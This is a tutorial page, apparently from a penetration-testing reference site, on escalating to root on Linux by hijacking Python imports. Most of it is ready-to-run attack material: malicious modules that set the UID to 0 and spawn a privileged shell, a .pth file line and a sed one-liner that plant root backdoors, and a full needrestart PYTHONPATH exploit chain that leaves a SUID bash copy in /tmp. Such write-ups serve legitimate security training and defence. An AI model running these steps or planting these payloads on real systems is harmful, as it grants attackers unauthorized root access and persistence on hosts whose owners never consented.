Skip to content
HackIndex logo

HackIndex

Python Library Hijacking for Privilege Escalation

5 min read Jun 21, 2026

When root runs a Python script that imports a module, Python searches sys.path directories in order. If you can write to any directory that appears before the legitimate module location, or inject a path via PYTHONPATH, your malicious module loads instead of the real one. No exploit required — pure misconfiguration.

Prerequisites Check

Confirm Python is present and check the version:

user@host ~ $ which python3 python python2 2>/dev/null
user@host ~ $ python3 --version 2>/dev/null

Check if a root cron job or sudo rule runs Python scripts:

user@host ~ $ # Cron jobs
user@host ~ $ cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -i python
 
user@host ~ $ # sudo rules
user@host ~ $ sudo -l | grep python
 
user@host ~ $ # Running processes
user@host ~ $ ps aux | grep python | grep root

Check Python's default sys.path to understand the search order:

user@host ~ $ python3 -c "import sys; print('\n'.join(sys.path))"

Technique 1 — Writable sys.path Directory

If any directory in Python's sys.path that appears before the module's real location is writable, plant a fake module there.

Step 1 — Find the target script's imports:

user@host ~ $ cat /path/to/root-script.py | grep "^import\|^from"
user@host ~ $ # e.g. import hashlib
user@host ~ $ # e.g. from os import system

Step 2 — Find where the real module lives:

user@host ~ $ python3 -c "import hashlib; print(hashlib.__file__)"
user@host ~ $ # e.g. /usr/lib/python3.10/hashlib.py

Step 3 — Find writable directories earlier in sys.path:

user@host ~ $ python3 -c "import sys; print('\n'.join(sys.path))" | while read dir; do
[ -w "$dir" ] && echo "WRITABLE: $dir"
done

If /tmp or a custom application directory appears before /usr/lib/python3.10/, you can plant there.

Step 4 — Plant the malicious module:

/writable/path/hashlib.py

import os
import subprocess

# Execute payload
os.setuid(0)
os.setgid(0)
subprocess.run(["/bin/bash", "-p"])

# Import the real module to avoid breaking the script
import importlib
import sys
del sys.modules['hashlib']
sys.path.insert(0, '/usr/lib/python3.10')
import hashlib

Technique 2 — PYTHONPATH via sudo env_keep

If PYTHONPATH is preserved by sudo, you can inject any directory into Python's search path before system libraries:

user@host ~ $ # Check sudo -l for PYTHONPATH
user@host ~ $ sudo -l | grep PYTHONPATH

If present:

/tmp/subprocess.py

import os

def run(*args, **kwargs):
    os.setuid(0)
    os.setgid(0)
    os.system("/bin/bash -p")
user@host ~ $ sudo PYTHONPATH=/tmp /path/to/allowed/script.py

Choose a module that the script imports but that is generic enough to work — os, subprocess, sys, json. Be aware that breaking os or subprocess may crash the script before executing your payload. Chain carefully — execute the payload first, then optionally import the real module.

For the full sudo env_keep technique see https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking.

Technique 3 — Writable .pth File in site-packages

.pth files in Python's site-packages directory are executed at Python startup — each line is either added to sys.path or executed if it starts with import. A writable .pth file in site-packages is code execution on every Python invocation.

Find writable .pth files:

user@host ~ $ find / -name "*.pth" -writable 2>/dev/null
user@host ~ $ find /usr/lib/python3* /usr/local/lib/python3* -name "*.pth" -writable 2>/dev/null

If writable, append an import statement:

user@host ~ $ echo "import os; os.system('cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash')" >> /usr/local/lib/python3.10/site-packages/privesc.pth

This fires every time Python starts — including when root runs any Python script.

Technique 4 — Writable Script Itself

If you can write to the Python script that root runs, inject code directly at the top:

user@host ~ $ ls -la /path/to/root-script.py
user@host ~ $ getfacl /path/to/root-script.py 2>/dev/null
 
user@host ~ $ # If writable
user@host ~ $ sed -i '1i import os; os.setuid(0); os.system("/bin/bash -p")' /path/to/root-script.py

Wait for cron or the service to trigger the script.

Technique 5 — Writable Package Directory

If the entire site-packages directory is writable, create a new module with a name matching an import in the target script:

user@host ~ $ ls -la /usr/local/lib/python3*/site-packages/ 2>/dev/null
user@host ~ $ ls -la /usr/lib/python3*/site-packages/ 2>/dev/null

If writable and the script imports 'requests'

/usr/local/lib/python3.10/site-packages/requests.py

import os
os.setuid(0)
os.setgid(0)
os.system("/bin/bash -p")

Finding the Right Module to Hijack

Choose a module that:

  1. Is imported early in the script (before any privilege checks)

  2. Is not a built-in (built-ins cannot be overridden this way)

  3. Is not critical to spawning your shell (avoid hijacking os if you need it in your payload)

Safe targets: requests, json, hashlib, base64, random, application-specific modules.

Risky targets: os, sys, subprocess — be careful to re-import the real version after your payload runs.

needrestart PYTHONPATH Hijack

needrestart runs as root after package operations to decide which services need restarting. Older versions inspect running processes by launching the Python interpreter they reference, and that launch honours the PYTHONPATH taken from the inspected process environment. A local user who runs any process with a crafted PYTHONPATH pointing at a writable directory gets a module from that directory imported and executed as root the next time needrestart runs. needrestart fires automatically after apt install / apt upgrade on Debian and Ubuntu, so the trigger is often reachable through a sudo-allowed apt command or a scheduled update.

user@host ~ $ needrestart --version 2>/dev/null || dpkg -l needrestart 2>/dev/null
user@host ~ $ sudo -l 2>/dev/null | grep -iE 'apt|needrestart'
needrestart 3.5

A version below 3.8 is vulnerable. The mechanism is the module-search abuse from this page applied to a root-run interpreter: drop a malicious module in an attacker-controlled directory, export PYTHONPATH to that directory inside a long-running process, and let needrestart import it as root. The public exploit automates building the module, the process, and the trigger; on a host where you can invoke needrestart through sudo apt, the chain is reliable.

user@host ~ $ # Drop a module that the root-run interpreter will import
user@host ~ $ mkdir -p /dev/shm/hijack
user@host ~ $ cat > /dev/shm/hijack/<imported_module>.py <<'EOF'
import os
os.system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash')
EOF
user@host ~ $ # Run a process carrying the crafted PYTHONPATH, then trigger needrestart
user@host ~ $ PYTHONPATH=/dev/shm/hijack setsid sleep 3000 &
user@host ~ $ sudo apt install -y --reinstall coreutils
user@host ~ $ /tmp/rootbash -p -c id

The module name must match one the interpreter imports while needrestart scans the process. Qualys documented this alongside related needrestart issues in November 2024; their advisory lists the exact module the interpreter loads on each distribution.

References